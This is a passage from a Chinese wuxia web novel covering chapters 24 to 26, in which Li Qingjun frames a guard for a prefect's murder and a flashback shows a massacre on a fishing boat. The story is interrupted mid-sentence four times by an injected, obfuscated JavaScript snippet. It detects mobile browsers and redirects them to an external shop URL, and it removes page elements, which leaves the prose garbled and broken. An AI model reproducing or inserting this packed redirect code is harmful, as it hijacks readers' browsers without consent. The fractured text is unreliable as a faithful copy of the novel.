李青筠说:“放心,我有证据。尸首心口中了一刀,伤口宽一寸深三寸,单侧开刃,应该是一把匕首。你敢不敢让人搜身?” 听到这话,朴七皱了皱眉,似乎想说些什么,但最后还是没有出声。 张狂理直气壮:“搜就搜!什么匕首,我根本就没见过!” “好骨气。”李青筠夸他,随后一摊手,后退几步,“劳驾谁来搜身?我不动手,以免有瓜田李下之嫌。” 众人齐齐看向肖凛,他无奈道:“好,我来。” 他最熟悉李青筠,没有把握的事她不会去做。所以就算张狂根本没有杀人,自己也一定会从他身上搜出那把匕首。 果然,他在张狂的枪上发现了异样。枪头与枪身衔接处有一道裂缝,肖凛将其掰开,中空的枪身里掉出了什么东西,捡起一看,正是一把三寸长、一寸宽的匕首。 目光触及匕首刀柄上熟悉的花纹时,肖凛瞳孔骤缩,猛地抬眼看向李青筠。 他明白了,李青筠这是要—— 李青筠笑着与肖凛对视,似乎笃定他不得不将真相咽回肚子里藏好。肖凛沉默了许久,开口时声音有些发涩。 “张狂身上……的确有一把匕首。” “所以?”李青筠示意他继续说下去。 “匕首上有干涸的血迹,形制与伤口吻合,应当就是凶器。” 周围一片哗然。 “难道真的是金翎卫害死了太守大人?” “凶器的确是从这杆枪里拿出来的,金翎卫成日里枪不离手,这总做不得假吧!” 张狂难以置信地瞪大双眼:“不可能!我的枪里怎么会有一把匕首?!这根本就不是我的东西!” 李青筠说:“很显然,你取骨之后把人杀了,再藏起凶器,将太守之死嫁祸旁人。” “我没有杀他!一定是有人陷害我!”张狂猛地指向李青筠,“是你!你武功高强,一定是你杀了太守,然后将凶器藏在我身上!!” “是么?”李青筠笑着问,“你昨天前半夜去了哪里?” 张狂的声音一滞:“自、自然是在仵作间睡觉,那么多人都能证明!” 一个金翎卫点头:“对对对,老张昨天晚上就睡在我旁边来着,前半夜根本就没动过。” “是没动过,还是……已经死了?”李青筠歪了歪头,指向张狂,“你确定躺在身边的是他吗?” “啊?不是他还能有谁……” 李青筠说:“除了你们三十六人,仵作间里不是还躺着一位太守吗?” 程灵忽然想起了被自己遗漏的细节:“我昨夜前往仵作间时,里面本该摆放尸体的床是空的,太守的尸身被放在地上。” “太守睡在你的位置,那请问你又在何处?”李青筠猜测,“难道与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413368|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们一样,去了鬼市?” “我——” 李青筠根本不给他开口的机会,继续步步紧逼:“进出鬼市需要令牌,令牌难得,你应该不会随意丢弃,而是藏在某处吧?” “你去鬼市将‘白蛇’出手,是见财起意,还是另有所图?” “若是见财起意还好说,可若是另有所图……你知道朝廷是怎样对待魔教余孽的,对吧?” 魔教教众凌迟处死,其三族尽数流放边疆,绝不留一点后患。 她忽然一把抓住张狂的衣襟,将他拽得极近,用只有双方能听到的声音说:“你知道我是谁。” 其实方才听到她与肖凛对话的一瞬间,张狂就意识到了——那个“竹影断虹”李青筠,她根本就没有死! 他心中的恐惧不亚于见了活生生的鬼,可是逃跑已经来不及了。他只能祈祷李青筠没有认出自己,让他装傻充愣,蒙混过关。 “我、我不知道……你在说什么……” 但对方的一句话就让他的心跌至谷底。 “那几鞭抽得很疼吧?你经受不住,于是用内力防身。”李青筠压低声音道,“你以为这里没人能仅凭内力运转就将花褪残红从人群中分辨出来。但是很不巧,你遇上了我。” “十几年前花褪残红死了那么多人,才彻底与截天教割席。如今虽然风评差些,可到底在武林之中还有立足之地。而你身为花褪残红之人,卧底金翎卫,暗中杀人取骨,是见财起意,还是另有所图?这个答案你要想好。” “我……我是……” 没有人比张狂更清楚花褪残红曾经历过什么。当年截天教残存的一支携剑骨逃往江南,另立“花褪残红”一派,想要凭借剑骨东山再起。但是李青筠很快追杀而来,一人一剑将那些魔教旧部几乎屠戮殆尽,随后夺走剑骨扬长而去。 一片狼藉中,新任首领只得放弃重振截天教的念头,转而将花褪残红洗白,培养大量刺客专做杀人买命的生意。就像李青筠所说,花褪残红如今虽因行事不正饱受诟病,但还在武林盟会之列,不至于像截天教那样被打为邪魔外道,与全天下为敌。 但是若李青筠当着这么多人的面揭破他的身份,他取人脊骨一事显然已经无法掩藏,自己凌迟而死也就罢了,万一将花褪残红拖下水,重演当年旧事,他岂不是整个花褪残红最大的罪人?! 念及此,张狂一咬牙做出了决定。 “是我!我偶然得知太守私下里的买卖,想要分一杯羹却被他拒绝,一怒之下我杀了太守取骨,拿走了他的鬼市令牌,昨晚将那条脊骨卖到了鬼市。” 他盯着李青筠,一字一句道:“我只不过是金翎卫中最低一等的雀部,整日做些脏活累活,工钱还少得可怜。不像肖大人天潢贵胄,一来就直升凤部,能随意使唤我们这些麻雀。” 肖凛面有愧色:“抱歉。” 李青筠知道肖凛绝不是在为二人身份之差感到抱歉。他想要隐瞒真相,就不得不将张狂指为真凶,送他走上绝路。 “真是虚伪。”李青筠嗤笑一声,又对一旁严阵以待的程灵说,“没事了,收刀吧。将真凶交给肖大人,让他自行处置。” 见程灵收刀归鞘,李青筠才松开了手,不再紧紧钳制着张狂。 肖凛说:“此事是我御下不严。既然人证物证俱全,那这凶手——” 他话未说完,张狂突然大吼一声,猛地朝他手中的那把匕首直冲而去。他爆发出极快的速度,连肖凛都躲闪不及,只能眼睁睁地看着张狂扬起脖颈,狠狠撞在了刀尖之上! 血花四溅,落了肖凛满身满脸。 程灵呼吸一滞,不由看向李青筠。若非李青筠方才让她收刀,如今溅了一身血的恐怕就是她了。 张狂痛苦地“呃呃”两声,吐出一口血沫,一双眼睛瞪得极大,像是要说些什么。但他注定再也开不了口,肖凛闭上双眼,再次低声说了句“抱歉”,随即手腕微不可察地向前一送,彻底斩断了他最后一线生机。 24.第 24 章 谢天谢地,程奚终于能堂堂正正离开大牢,不用着急忙慌回天姥山当猴子了。 没了后患,他又磨磨蹭蹭不想回山。万俟玉与他是一丘之貉,一会儿借口说肚子疼,一会儿又说腿疼,反正就是迟迟不肯动身离开幽州。 “师姐,你看幽州多好玩,有山有水,风景很好!我们迟点再回去嘛,行不行,行不行?” 程灵说:“天姥山上也有山有水。” 万俟玉被她噎了一下:“但是,但是天姥山我都看腻了!而且师傅她每次闭关都要闭大半年,咱们迟点回去也不怕她知道嘛。” 程奚帮腔:“就是就是。好不容易出门一趟,就多玩几天呗。” 程灵岂能不知,这两个人的“多玩几天”是几天复几天,几天何其多,但她被万俟玉缠磨得实在没办法,只能说:“最迟后天动身启程。” 万俟玉一蹦三尺高,在程灵脸上用力亲了一口,然后转头就跑去找朴七,求她带自己去见见缇萦。 意娘与缇萦母女二人并没有彻底离开松原县,而是搬到了附近的松山林中,与蛇婆做邻居。经此一事,意娘尝尽了人间冷暖,她宁愿住在山林中照料年迈眼瞎的蛇婆,受蛇婆庇佑,以防县令派人报复。 朴七一口应下,抱起万俟玉让她骑在自己肩上。 “走小玉,阿姨带你进山!” 万俟玉从小在天姥山里长大,根本没见过外人,平时就算有师兄陪她玩,到底不算尽兴。程奚比她大了快十岁,对万俟玉乐此不疲的捏泥巴假装人偶打架的游戏不太感冒,因此配合得往往十分敷衍。 但是此次出门遇到缇萦,万俟玉总算找到了懂她的玩伴,而且相逢恨晚。缇萦手巧,家里有很多惟妙惟肖的泥人都是她捏的,她还乐意扮演大侠身后的神医,在“小玉大侠”受伤倒地时送上一枚灵丹妙药,让她满血复活。 这一去不知道要赖在意娘家玩多久才肯回来,程灵看着她兴高采烈的背影,在心中无奈地叹了一口气。 “在想什么,妹妹?” 肩头一重,一条胳膊搭了上来。李青筠说:“你也不比你师妹年长几岁,怎么都不喜欢玩?” 程灵心想,如果她也像程奚和小玉一样当个快乐的废物小点心,整个师门岂不是就完了。 但她不会把这话讲出口,只是摇摇头说:“我只想练刀。” 李青筠很怜悯地摸她发顶:“可怜见的,都练刀练成傻瓜了。改日若有机会,我一定去拜访拜访,看看你们这位好师傅到底是何方神圣。“ 程奚插嘴:“择日不如撞日,前辈要不这次与我们一道回去?” 刚说完,他猛地想起他娘亲与李青筠之间的龃龉,立马捂上了嘴,再次痛恨自己说话怎么就不过大脑。 幸好李青筠也没当真,笑了笑说:“可惜,近来还要给朴帮主当牛做马偿还恩情。” 程奚悄悄松了一口气,小心翼翼瞥了程灵一眼,却忽然发现她的神色中好像有点……失落? 看错了吧,他妹不是向来都喜怒不形于色吗。 “好了,我该走了。朴帮主送你们师妹上山后,会在松原县外等我。”李青筠说罢,也没打算久留。她站起身拍了拍衣摆的尘土,顺手捏捏程灵的脸颊,“放心吧,我没忘。届时比武台上见。” 程灵认真地点点头:“好。” 她目送着李青筠的背影渐行渐远,直到再也看不见时才收回目光。一扭头,就看见她哥正饶有兴致地观察着她的表情。 “你舍不得啊?” 程灵立即否认:“没有。” “你就是舍不得她走!”程奚不听她狡辩,一锤定音,“妹啊,这才认识几天感情就这么深厚了?你哥我跟你认识了十四年,都没见你什么时候舍不得我过。” “你若是现在就离我远些,我也会‘舍不得’你的,”程灵将“舍不得”这三个字咬得很重,“程师兄。” 兄妹俩从小到大一生气就会冷冰冰地互称对方为“程师兄”和“程师妹”,程奚见她恼了,连忙见好就收:“好好好不说了。难得小玉不在,你想去哪里玩?哥陪你。” 程灵说:“不用了,程师兄。” “哎不是我说你这脾气到底随了谁?难不成是咱妈……” - 李青筠出城时,朴七已经在城门外等她许久了。 “走吧,朴帮主。”李青筠远远招呼她一声,“接下来去哪里,我听您吩咐。” 朴七抱着胳膊走在她前面,说:“随我回一趟豫州。方才收到消息,丐帮有人叛变。” 李青筠了然:“原来朴帮主需要我去抓叛徒。” “人已经被扣下了。”朴七说。 李青筠挑眉:“那是要我去杀叛徒?” 朴七回头看了她一眼,意有所指地问:“就非杀不可?” “叛徒么,”李青筠道,“当然非杀不可。” 朴七说:“可那人若是被冤枉的呢?” 李青筠:“那就杀了,只当立威。” 朴七问:“若旁人杀你立威,你作何想?” 李青筠笑道:“那也得杀得了我才行。” 朴七与她打了半天太极,终于忍无可忍。她停下脚步,转身对李青筠说:“你若拿我当朋友,就告诉我一句真话。” 李青筠说:“请问。” “那把匕首,是不是你的东西?” 朴七近些日子冥思苦想许久,终于在看到肖凛的那一瞬间,猛地想起了那把匕首上的花纹曾经在何处见过。 ——那是楚王妃所属九黎一族的图腾,一条首尾相衔的蛇。 她恍然想到从前李青筠与肖凛还未彻底决裂之时,李青筠曾说过肖凛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17417875|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送了她一把丑得要命的匕首,她不想要,于是拿来问朴七喜不喜欢。朴七向来喜欢收集些稀奇古怪的小玩意儿,正打算笑纳,却被忽然出现的肖凛拦下,说那是他母亲留下的唯一遗物。 李青筠当即惭愧非常,声称就算这匕首再丑,自己也一定会千般珍惜万般爱护绝不再随意送人。 那把匕首当时朴七也只瞥到过一眼,模模糊糊的印象早就被淹没在了记忆长河中。如今被重新捡拾起,她却宁愿相信是自己记错了。 但是她听见李青筠说了一个字。 “是。” “是你杀了太守,借由嫁祸我和程奚,将金翎卫牵扯进来。”失望如同潮水般涌上心头,朴七问,“为什么?” 李青筠说:“我不杀他,他也会死。失去脊骨的人活不了多久,你知道的。” “你与那个金翎卫说了什么?他为何忽然就肯认罪,还自尽而亡?” “这已经是第三个问题了,朴帮主。” 李青筠迈开脚步,越过朴七向前走去,只留给她一个背影。 其实她原先的计划很简单,随便杀个人,借那把匕首让肖凛惹上一身腥,就算不能给他定罪,添点堵也不错。 思来想去,太守大人首当其冲。但李青筠没有想到,那晚有人动作比她更快一步,她赶到太守府时,太守已被剖去了脊骨。 这一幕瞬间唤醒了她最痛苦的回忆,在满屋血腥气中,她仿佛看到躺在床上奄奄一息的是大师姐,那么多人环绕着她,要她牺牲自己去拯救天下众生。 用枪之人最要紧处就是腰脊,那群人却换给她一条软弱不堪的蛇骨,让“红缨白马”拿不起枪、骑不了马。李青筠不止一次看到师姐私底下将她那杆红缨枪横放在膝头,缓缓地轻抚枪身,她眼底的痛苦让李青筠这辈子都难以忘怀。 大师姐从前总爱说,枪在人在,枪亡人亡。于是李青筠一刀杀了太守,就像回到好多年前,一刀杀了那个万分痛苦的大师姐。她呆呆坐在太守床边的地上,不知过了多久,两个意想不到的人嘻嘻哈哈着走到了屋门外。 ——朴七与程奚。 原本简单的事情忽然变得复杂,她索性顺水推舟,引来侍卫将二人抓走,把事情闹大总归不算什么坏处。 更何况她也很想知道,到底是谁,敢在幽州界内重现取骨之事。 “朴帮主,你不用知道那么多。”李青筠悠悠地说,“你只需要知道,我手上沾过的血,没有一滴属于无辜之人。” 朴七当然知道。可正因如此,她才觉得恐惧、觉得心寒。 她问道:“李青筠,若你大师姐看到你变成这副模样,她会怎么想?” 李青筠的背影一僵。朴七扯了扯嘴角,语气平淡,像是并不知晓自己说出了什么令人震惊的秘密。 “你不知道吗?——她还活着。” 25.第 25 章 李青筠将剑一横,威风凛凛道:“你不能进!” 朴七一低头,才看见面前的山道口不知何时冒出一个小孩。她觉得好生有趣,问:“为啥不让我进?这路是你开的还是树是你栽的?” 李青筠一扬脑袋,理所当然地宣布:“这里整座山都是我大师姐的!她的也就是我的!” “整座山都是你大师姐的?这事通知贺岳峙了吗?”朴七失笑,“本来师傅武功不如学生就够他郁闷了,让他听到自己连座山头都保不住,恐怕要悄悄抹眼泪了。” 说话间,山道上传来一阵马蹄声,旋即一匹白马分林拂叶而来,马上女子剑眉星目,红衣如烈,像一团山林中的野火。她大笑道:“你别听她胡说!” 李青筠转头就去告状:“大师姐,这人想要硬闯月下十九峰。” 想了想,她又得意洋洋地补充:“但是我把她拦住了!” 红衣女子双腿一夹马腹,原本疾驰的白马当即停蹄,她借势翻身下马,动作轻灵地落在二人面前。 “早就听说你从突厥人手里救回个小孩,就是她?”朴七说着,随手在李青筠揉了一把,“怎么养成个拦路打劫的小山匪了?” 红衣女子说:“整座山头都是我的,收点过路费怎么了?” 朴七道:“合着你刚才是说我‘胡说’?你能不能要点儿脸,放青崖!” “更不要脸的话你还没听过呢。”放青崖笑,“朴少侠来得巧,我正要下山除魔,不如你我同往?” 朴七也不是拖泥带水的人,一口应下:“中。完事了我再上山去找贺盟主。” 放青崖抱起还没有马腿高的李青筠,将她扔到马背上坐好,随后打了个呼哨,白马便乖乖跟上,在二人身后慢悠悠地喷着响鼻。 “你出去除魔怎么还带个小跟班?”朴七回头看了一眼,见李青筠朝她扮鬼脸,“不怕这家伙被截天教抓去炼剑啊?” “不必管她,机灵得很。”放青崖漫不经心地摆摆手,“此次你来有何要事?师傅他近些日子在闭关,还不知何时能出来。” 朴七说:“我家帮主练棍把腰闪了,说要把帮主令传给我,让我来贺盟主面前混个眼熟。” “啊,这样吗。”放青崖一脸惋惜,“老帮主今年才六十吧?这么早就要退位让贤了。” “其实她早就想当甩手掌柜了。你也知道,丐帮的人遍布九州,什么三教九流都有。虽然各州都设了驻地,但还是松散得不成样子。那帮主令也没个屁用,人家乐意了给你个面子,要是不乐意,把帮主令砸你脸上你也没招。” 放青崖道:“要不你来月下飞天镜,我们这儿师长和蔼,同门友善,山清水秀,风景优美。我给你找座山头,还能混个峰主当当。” 朴七受宠若惊:“这么慷慨!我在丐帮还有二百多个姐妹,您一道都赏个峰主当呗。以后咱门派就叫月下二百五十峰。” 放青崖笑得不行:“去一边去。” 李青筠骑在马上跟着她们二人,她不知道朴七是谁,只知道这人一来大师姐就不理自己了,于是越看朴七越不顺眼,趴在马脖子上悄悄说:“你去顶她!” 她经常给师姐的白马喂萝卜吃,于是白马很通人性地加快步伐赶上去,一抬马头把朴七顶了个趔趄。 朴七“嘿”了一声,回头瞪她,李青筠忍着笑一本正经地说:“抱歉抱歉,一时没刹住。” 放青崖就算不清楚马什么脾性,还能不清楚李青筠什么德性。她毫不留情地揭穿:“她肯定是故意撞你。” 朴七抄起棍子要揍她,李青筠大喊一声:“且慢!快!” 她动作一顿,想问“到底要慢还是快”,却见面前的白马突然如同脱缰野狗一般撒开四蹄狂奔,李青筠紧紧抱着马脖子,一溜烟就不见了踪影,只剩下一连串扯得很长的笑声在山里回荡。 “哈——哈——哈——哈——” “……” 放青崖拍拍朴七的肩,忍着笑解释:“我的马,名叫‘且慢’。” “什么破名啊!” - 月下飞天镜百年名门,自立派以来常派门生下山除恶扶善。放青崖一早收到传信,得知一百里外的幽州永安县有数人惨死,似是魔教所为,于是与朴七、李青筠一道马不停蹄赶去。 永安县在幽州最东,与北海相邻,县中大多是些聚居的小渔村。当地渔民向来是清晨出海,晌午归来后将捕到的海货运去鱼行,再由鱼牙子送到县城的市集买卖。 然而临近春日官府禁渔,白日里会有官差沿岸巡查,许多人便趁夜去捕鱼。昨日有七个渔民夜里结伴驾了一艘大船出海,今早巡查的官差发现船停在岸边,正待进去抓人,抬头一看却发现桅杆顶上如同糖葫芦似的串着七颗头颅。余下的躯干则被扔在船舱之中,无一例外都被剖开了后背。 头个看到这一幕的官差几乎被吓成了失心疯,放青崖从他口中问不出什么线索,干脆自己去船上查看情况。 来到海岸边时,周围空无一人。大家得知村里有人遭了魔教毒手,没一人敢来凑这个热闹,生怕自己就是下一个倒霉蛋。 朴七远远就看见桅杆上的七颗头颅,后脑勺一阵发麻:“天姥姥啊,这魔教是越来越嚣张了。” 放青崖说:“先进船舱看看。青筠,在外面等着。” 李青筠本就不想去,闻言如蒙大赦,一溜烟跑去海边撒欢了。 朴七诧异道:“一般小孩这时候不该闹着要去看吗?她怎么反倒跑了?” 放青崖道:“她向来不喜欢掺和这些麻烦事。不过你等着看吧,查到了魔教藏身何处,她能跑得比咱俩都快。” “小小年纪,这么喜欢打打杀杀?”朴七摇了摇头,“混江湖可不是靠杀人就能行的。” 放青崖笑了笑,说:“你们丐帮以为‘普天之下皆姐妹’,自然与一心崇武的月下飞天镜不同。” 朴七撇嘴:“在山旮旯里练一辈子武有什么意思?与你们这些武呆子说不明白。” “我有个师妹甚爱抬杠,你若愿意,回山之后我为你引荐,你们二人好好辩上一番。”放青崖拍拍手,“好了,我去将那些头颅取下来,劳驾朴少侠去船舱内看看。” 木船虽大,却年久失修,踩上去听取嘎吱一片。朴七掀开竹帘一进船舱,就闻到一股浓郁的血腥气,她掩上口鼻,露出一个惨不忍睹的表情。 然而蹲下身去查看时,她忽然发现了不对劲的地方。 这七具尸首后背全部被一剖两半,但是身上的脊骨都在,白森森地暴露在外,已经被海风吹得风干。朴七扒开其中一人的衣服,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17421820|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现这死者筋肉匀称,身上还有不少刀疤似的旧伤,实在不像是寻常渔民。 不解之下,她又去看下一个人,这次的发现越发令她毛骨悚然。 ——同样肌肉健壮,但是,这两具躯体都是女人! 可当地渔民分明说了,失踪的七个都是男人! 朴七年纪还轻,沉不住气,当即“哇”地大喊了一声跑出船舱。见放青崖正一手捧着一颗脑袋从桅杆上跳下来,又被这一幕吓得一个激灵,“嗷嗷”怪叫着一蹦三尺高。 “?”放青崖又好笑又疑惑地看向她,“朴少侠,你这是……” 朴七表情扭曲地问:“那七个脑袋里面有女人吗?” 放青崖将最后两颗头颅放在地上,端详了一圈,说道:“没有,七个都是男人。更何况哪家的人昨夜出了海,官差都已经挨个问过了,的确没有女人。” 她以为这样说朴七能安心一点,谁知这人神色愈发难看,简直像是下一秒就要哭出来似的。 放青崖察觉到异样,问:“里面怎么了?” 朴七颤颤巍巍地伸手指了指,“可是、可是里面都是女人的躯体……” 放青崖脸色一变,立马掀帘进舱。朴七只敢塞个脑袋进去,小心翼翼地看着她挨个检查所有的躯体,听放青崖沉声说:“七个女子,而且,都是武林人。” “武武武武武武林人?!!”朴七嗓音陡然一提,差点破音,“还一口气抓了七个!难不成幽州来了什么厉害人物?” 放青崖蹙眉,思忖道:“为何脊骨还在?武林人的根骨更适合炼剑,魔教既然能抓到人,没有杀了不取的道理。” “还有外面七个遇难的渔民。为何要移花接木,假装死的是渔民?只要有心之人稍稍一探,就会发现异样。” 朴七一把将自己的打狗棍抱在怀里,好不容易有了点安全感,才察觉自己方才有些失态,尴尬地咳了一声:“咳,也许……也许并非魔教作乱?是有人杀人寻仇,装成魔教手笔?” “不排除这种可能。”放青崖站起身,“一连死了十四人,这事不简单。我先去给盟会传信,朴少侠,你守住这里,不要让任何人靠近。” 距此五十里有一处盟会驻地,放青崖打了个呼哨唤来“且慢”,翻身上马,很快绝尘而去。朴七看着这船板上血呼啦差一片有点后背发凉,便也下船在岸边守着。 没多久,海滩上远远跑来一个孩子,朴七正要提棍赶人,定睛一看,原来是李青筠。 这家伙大概是下海里玩去了,外衫稀里糊涂裹在身上,袖子裤子卷得很高,身上像驴打滚似的裹满了沙粒,头发湿得一绺一绺。 朴七嫌弃地躲开几步,李青筠问她:“我大师姐呢?我看到她骑着马走了。” 朴七说:“她不要你了,十个铜板一斤把你卖给我。” 李青筠“哼”了一声,道:“不可能!大师姐当年把我从突厥人贩子手里买下来总共才花了十个铜板。她怎么可能做这种亏本买卖!” “……”朴七道,“你好像还挺骄傲。行了不逗你,船上情况不对,你大师姐搬救兵去了。” “什么情况?我去看看。” 她说着就要往船上跳,朴七一个没拉住,只能骂骂咧咧地跟上来:“你个小屁孩小心看了晚上做噩梦!” 26.第 26 章 不知道李青筠今晚会不会做噩梦,反正朴七估计自己是逃不过了。 谁知李青筠看上去比她想象得要冷静许多,这家伙甚至上手去拨弄那些残躯,忽然指着其中一人说:“我知道她。” “啊?”朴七问,“认识啊?” 李青筠说:“不认识,但我能确定她是悬空寺的武僧。” “并州悬空寺?”朴七蹙眉,也凑上来看,“怎么会死在这里?” 方才她没敢仔细观察,现下李青筠一指,朴七才发现那具躯体的双拳如同硬铁,足足有沙包大,的确像是专练拳法的悬空寺武僧。 朴七推测道:“据说悬空寺的武僧都要剃发,难不成砍去头颅是为了掩藏她的武僧身份?” 李青筠摇摇头:“既然我们能凭双拳辨人,真凶未必想不到。若是我,定会将这些人的双臂、双腿一同砍去以绝后患。” 朴七听得头皮发麻,倒退几步离她远远的:“你你你能不能别胡说!小小年纪怎么如此狠心!” 李青筠无辜地摊了摊手,道:“我只是推测,又没有亲手去做。” “推测也不行!”朴七咬牙切齿地说,“小孩子就去想小孩子该想的事啊!” 李青筠耸耸肩,没再理她,接着去看其余的躯体。这些人的武功路数倒是不太明显,只是有些掌心有茧,应该平日里使用什么兵器;还有一人略显特殊,双手非但没有厚茧,反而保护得十分细嫩。 朴七发着呆神游了一阵,忽然福至心灵:“悬丝法!” 李青筠不比朴七走南闯北知道得多,好奇地问道:“什么是悬丝法?” “悬丝法是谯城华家的绝技,华家先祖用丝线枕脉,治病救人。后人又据此研究出用来杀人的悬丝法。”朴七卷起袖子,露出右臂上一道极细极深的勒痕,“我吃过一次大亏,差点被勒断胳膊。” 李青筠说:“谯城华家我听说过,个个都是济世救人的神医。其实我更想知道,你是怎么逼得医师对你下狠手的。” “……”朴七悻悻甩下袖子,撇嘴道,“关你什么事。” 这事说来也是她自找的。先前老帮主闪了腰,朴七千里迢迢跑去徽州谯城请如今的华家家主华松出诊,却吃了个闭门羹。她一气之下提棍砸了华家祠堂的牌匾,还没扬长而去就被华松的女儿拦下,二人打了一场,那少年出手狠辣,全然不像个医师,招招恨不得把朴七当场勒死。 朴七一提这事心里就憋屈,第一百八十二次发誓总有一天要在那少年身上报复回来。她虽然不知道对方的名字,却记得那双瞳色极浅的眼睛,再次见面定能认出此人。 “又是并州,又是徽州,这船上真是天南海北齐聚一堂。”李青筠说,“我看船上没有打斗痕迹,血迹也不多,或许人不是在这里被杀的。” 朴七说:“猜来猜去真是麻烦!我不奉陪了,等你师姐回来你俩慢慢聊——咦,说放青崖放青崖就到。” 她听见外面传来脚步踩在沙子上的“咯吱”轻响,正要站起身去迎,却忽然被李青筠一把抓住,连拖带拽地藏到了船舱深处的货架后。 李青筠对上朴七茫然的目光,朝她摇了摇头,做了一个骑马的动作。 ……对了,放青崖是骑着马离开的。 那外面走来的又是谁? 朴七瞥了一眼自己的打狗棍,示意李青筠出去直接与来人干上一场。李青筠双手比了个叉,让她再等等,以便后发制人。 两人比划半天,也不知道有没有搞懂对方的意思。此时,舱外的甲板忽然传来一声轻响,紧接着一个女人不耐烦地“啧”了一声。 “他杀了人自己不管,偏要你我来收拾。现在可好,被人抢了先。” 来了两个人?! 她话中的“他”又是指谁? 朴七与李青筠对视一眼,继续沉住气听下去。 另一道男声温声宽慰:“沙滩上不见离去的脚印,人大概还在船上,杀了就好。” 女人冷笑:“你说得轻巧,自己却不用动手。空占着右护法之位,一介弱质书生与还敢我平起平坐。等着,我迟早要让你滚出截天教。” 男子依然好声好气:“这话你都说过千八百回了。若我滚了,你还能找谁出气?” 二人一边拌嘴,一边在船上四处搜寻起来。“哗啦”一声,竹帘被掀起,那个男子走进船舱,看见一地横七竖八的躯体,叹了声“真是浪费”,随即缓步走向李青筠与朴七藏身之处。 朴七浑身紧绷,双手握棍蓄势待发,却被李青筠截住,用力往下一按。她心头焦急,想问这小孩到底还要蹲到什么时候,却见眼前身影一闪,李青筠已经踩着货架一跃而起,旋身从船顶极小的间隙中穿过,重重踩在了男子的肩头! 一声铮鸣,利剑出鞘,剑锋抵在男子喉间。 “原来藏在这里。”他说,“好小的孩子。你几岁了?” “少废话!” 李青筠厉喝,手中剑刃毫不客气地更近一寸,血珠渗出。 “这些人是谁杀的?” 这男子倒是诚恳,半点不漏地将事情和盘托出:“人是教主杀的,我与她被派来善后。” “为何杀这么多人?” “这你得亲自去问教主。”他似乎很喜欢小孩,笑看着李青筠,“真是可爱,若我以后也能有个你这样的女儿就好了。” 李青筠说:“下辈子吧。” 男子有些失望:“我也觉得,毕竟她亲口说过对我没有半点意思。” “没关系。”李青筠说,“我这就送你去下辈子。” 说话间,她一把抓住男子的长发,剑刃用力往下一抹。然而还没抹到底,忽有一股巨大的内力波动传来,紧接着一声巨响,半个船顶竟然被凌空劈开,内力余波直接将李青筠与那男子一道掀翻出去,坠入海中! 李青筠落水之后来不及喘口气,第一件事就是一头扎进海里去找那个男子。他似乎不会凫水,喉间的伤口汩汩流出血来四散在水中。海水咸腥,刺得李青筠双目双耳生疼,她却依然死死抓着人不放,直到二人一同浮出海面。 “咳咳!” 男子咳得半死不活,终于能呼吸一口空气,下一刻,李青筠的剑锋又像鬼一样缠了上来,只不过这次她总算没有一言不合就抹人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424825|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子。 “多谢……救命之恩,咳咳!”他说,“你看,她果然对我没意思,方才都不顾我死活。” 李青筠无意与他讨论这段黯然神伤的情感经历,她仰着头,盯向船舷上的那道身影。 海水使她双眼模糊一片,但依然能看清那女子正将一柄颜色惨白的剑抵在朴七脖颈之间。 方才那股内力…… 李青筠暗自心惊,她只在放青崖身上见过如此浑厚的内力,但这个女子怎么可能足以与大师姐比肩?! 朴七被那女子钳制着,还有心情大骂:“完你大爷的蛋了!她手里是魔剑!” “魔剑?” 李青筠一愣,听见男子贴心地解释:“那就是我们用人骨炼制的剑,能使执剑者内力暴涨,以一敌百,目前整个截天教上下只炼出五柄。” “闭嘴!你与她说那么多作甚?”女子道,“死丫头,你把他放了!” 李青筠说:“你先放!” 她挟持着这个男子,与他一道在海浪中浮浮沉沉,很是艰难,时不时还会被呛一口海水。手里的人质越发惨,颈间伤口被不停冲刷着,鲜血在一刻不停地流,李青筠能感觉到他的体温在渐渐变冷,连废话都没力气说了。 “咳咳,你杀了我吧。”他气若游丝道,“我与你无冤无仇,为何要这么折磨我……” 